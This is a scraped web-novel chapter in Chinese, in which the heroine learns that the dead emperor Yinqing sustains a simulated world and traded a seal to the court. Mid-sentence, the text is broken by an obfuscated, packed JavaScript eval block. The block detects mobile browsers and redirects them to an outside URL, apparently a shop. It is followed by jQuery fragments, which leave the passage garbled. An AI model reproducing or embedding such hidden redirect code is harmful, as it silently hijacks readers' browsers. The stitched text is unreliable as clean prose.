35. 凶境·遗瑟(完)

作品:《职业选手穿进游戏世界后

    九重天音的面貌和星罗箓的开机界面一样,乌黑的长发散落在肩头,唯一的饰物是柳枝盘成的头冠。柳冠在两鬓又分叉,柳条或垂在他的胸前,或于在他的身后飞扬,或隐于发丝深处。


    音帝不喜繁饰华服,衣桑麻而佩柳冠,性情纯至如赤子,常以少年态示人。


    所以九重天音看起来,像是年纪比阴仄还小一点似的。


    阴仄轻快地扑到九重天音怀里:“父亲,您的客人我带到了。”


    九重天音温和地点点头:“许久不见了,诸位。”


    苏是一一直以为这里是人间瑟构造的幻境,毕竟阴平疯魔成那个样子,做个自欺欺人的美梦也情有可原,在幻象里复活他百般孺慕的九重天音更是瑟之常情。


    但是,当她看见这个九重天音的第一眼时,就知道他和先前副本里的NPC九重天草不一样,是真人。


    真正的九重天只需要坐在那里,就能教天下所有活物清清楚楚地感觉到,这是曾统治一个时代的天道宠儿。


    苏是一一路听了太多九重天音的好话,因此从善如流地在他跟前告清音道宫的状——东海都被祸祸成那样了,您要不出山管管。


    九重天音温和地摇头:“我是已死之人,现下只是一缕依托于人间瑟而存的意识,囚困于此处,不可再沾染红尘。”


    他已经卸下九重天的职位,让众人称呼其本名,阴清。


    阴清继续道:“此方世界就是遗瑟凶境的内部,东海毁灭的最后一瞬间,我的旧友召回了我,让我得以用人间瑟保存所有人的意识。”


    “但我的力量终有一天会枯竭,无法永远保持他们那一瞬的状态。所以我不得不顺应时间,利用人间瑟演算每个人的意图与命运,让这个世界前行。”


    所以才会有此地与外界错乱的时间,阴清刻意减缓了这个世界的运行速度,让这里的人只觉得过了二十年。


    苏是一继续争取:“我来自凡界,不知您是否知道朝廷这些年的动作,他们想要收集所有的玺。”


    阴清微不可察地打量她一会,才点头:“我自然知道。”


    苏是一:“那您可知,音玺人间琴已经为朝廷所驱使,被用来维持筛选修士的秘境。”


    您留给您道宫的宝物都被人家挪用了,不想想办法?


    “这我也知道,”阴清一愣,忽而看向琢影与李认真,“她又失忆了?”


    李认真没有接话,琢影上前一步,向阴清解释他们现在的状态——只是套了仙界人的壳子而已,并非东海里的阿真与李生爱。


    阴清长叹一口气,也许是信了琢影的说法,解释道:“我知道这些,因为把人间琴授予朝廷,正是我和九重天圣的交易。”


    “交易?”


    “我想你们一路走来,应当看到了不少、听过了不少不应存在于此世的人。”


    譬如坟头都成5A级景区的杨宓望,譬如那些十来岁的孩子。


    阴清只是保存了当时那一瞬间东海人的意识,其中不包括远在凡界的杨宓望,也不包括生都没生出来的这些孩子。


    “他们都是我模拟的数据,毕竟许多人的愿望都是再见到流浪凡间的亲人,又有许多人的愿望是儿女双全、子孙绕膝。”


    模拟这些人让灵力本就有限的阴清更加不堪重负,杨宓望之流尚可找借口让他们远离东海人的视线,减轻负担,但那些“新生儿”日日在父母的眼皮子底下,一颦一笑所需的灵力不可计数。


    “原本我的力量足以支撑到最后一个东海人老死,但是我无法放下这些孩子……无法将他们创造出来,又杀死他们。”


    阴清想要这个世界持续得再久、再久一些,但是九重天音的时代已经过去,如今是九重天圣当权,也唯有在位的九重天才能从天道之处汲取源源不断的力量。


    数年前,九重天圣孤身入遗瑟凶境,同身处人间瑟内部的阴清谈判。


    阴清将音玺交予朝廷,换来九重天圣为这个世界提供的充沛灵气。


    这便是他们两位九重天的交易。


    “所以,此方世界之外的事情,我便无意干涉了,”阴清当然知晓普玺对凡界的重要性,因此表明他在此事中的立场,“但朝廷并没有掌握所有的玺,你们还有其它机会。”


    阴清道:“他们设立秘境的目的,是找到能够使用玺的人,据我所知,九枚玺里,有七枚都在这个秘境里,除了人间琴被用来支撑秘境不能移动外,其余六枚玺也许你们都能带走。”


    “那不被朝廷控制的那两枚玺呢。”苏是一问。


    “一枚是普玺,你们都知道,另一枚,”说来也好笑,阴清微微扬了扬嘴角,“却是他九重天圣自己的玺,圣玺【斩天阙】,据他所说,插在他心上人的胸口上,现在还没拔下来。”


    苏是一:很好,经典杀妻证道,仙界的抽象又加了一条。


    阴清听得见苏是一心中所想:“其实吧,杀妻证道的九重天也不止他一个。”


    苏是一大惊:“难道说你也……”


    “咳咳,不是我,”阴清呛咳几声,“我没有情根的,不会爱上任何人。”


    苏是一看着他明显小学六年级的身高和外形,心想也是,未成年。


    但几百岁的未成年,这水分有点太大。而且她阅书无数,就没见过无情道毕业的。


    “我不止几百岁。而且我修的是音道,不是无情道,音道的教学质量很好,我记得每年毕业率在学宫都名列前茅。”阴清老老实实地一一解释。


    苏是一:“我的吐槽您可以不管的。”


    读心还是太超纲了。


    “我不会有情|欲,是因为你……算了,总之,那位杀妻证道的九重天是除了我和九重天圣之外,唯一还算得上是活着的九重天,都是老朋友了,你们之后会碰到他的。”阴清喝了几口水,平复了心情。


    苏是一点点头:“谢谢您告诉我们这些。”


    阴清倒是奇道:“我以为你会为凡界再争取一二,说服我收回人间琴。”


    “您偏爱的是您的臣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226848|193845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    民。”苏是一摇头。


    阴清为了东海人,都能搞出一堆数据来满足他们的愿望,又怎么会因为对凡界未来的同情而撕毁与九重天圣的协议呢。


    她刚琢磨完,又意识到眼前这人什么心理话都能听。


    果然,阴清接了她的话:“我所做的不止如此,为了掩盖人间瑟、掩盖这片世外桃源的存在,我从未向外界透露当年东海的真相。你认为我的诸般种种,称得上荒唐么。”


    正如当年九重天圣所讥讽的那样,阴清如同一个被强行从棺柩中拉出来的老叟,迁就溺爱自己的弱孙。


    苏是一扭头看向琢影:该你了,和阴清聊天跟任务下崽似的,越聊越多。


    琢影拾起他外置话筒的功能,回道:“我在凡界玩这个游戏的时候,曾经看过一句话,‘寄宿精神的意象,永远不能超脱精神本身’。”


    在道宫唱歌的杨宓望也好,虚构的新生儿也好,都是东海人寄宿情感的物品而已。


    如果这些物品的存在悖逆他们的情感,那也就没有存在的价值。


    “您应当去问他们,”琢影说,“让他们决定是要虚构的幻象,还是人间瑟炼制的真相。”


    他说完这句话后就抿住嘴唇,不希望阴清的读心术再听到更多的想法。


    阴清了然地笑笑,东海人的答案显而易见。


    自以为团聚的亲人、投入了感情的儿女都是假的,甚至连他们自己都不能算作是“人”。


    无非就是狠狠地把他们从清平之梦里摔落,让他们的愤怒涌向两百年后的外界。


    “我确实是老了,”阴清笑着打破了隐隐有几分僵持的局面,“净是聊这些不愉快的东西,诸位远道而来,又是东海的……旧友,某便设此宴款待,以全地主之谊了。”


    于是阴仄奏琴,从树梢探头出来的阴平鼓瑟,阴清朗声唱诵,苏是一听到的、源于此地的那第一首歌。


    《清平乐》有安定人心的作用,她半靠在石椅上,昏昏沉沉地回到她的梦乡。


    两人一前一后,消失在这片柳林之中,原先所控制的两具肉身也都化成粒子消散。


    “所以刚才的事,你不和我说明一下情况么。”一番沉默之后,阴清无奈地看向李认真。


    阿真、李生爱……不知那两个人又在捣腾什么,他说也不是,不说也不是。


    “我伤了这里,”李认真指了指脑袋,“你们最好都不要指望我能有什么主意。”


    “也是,几日前阴仄告诉我你受了重伤,申请以玩家身份入局。”


    “是啊,”李认真揉揉额头,上面隐隐可见数字贰,“诸位御使最多只能同时操纵五枚玺,这远远不够,我便想借养伤的机会再试试。但是……也许我永远都无法体悟陛下的道,一直没有精进。”


    他的手中出现了九枚玺的幻象,五枚成功,两枚失败,两枚空白。


    “要我猜九重天圣的想法么,”阴清站起身来,手指轻轻拨动着那九枚玺的投影,“不过是在雕琢一个影子罢了。”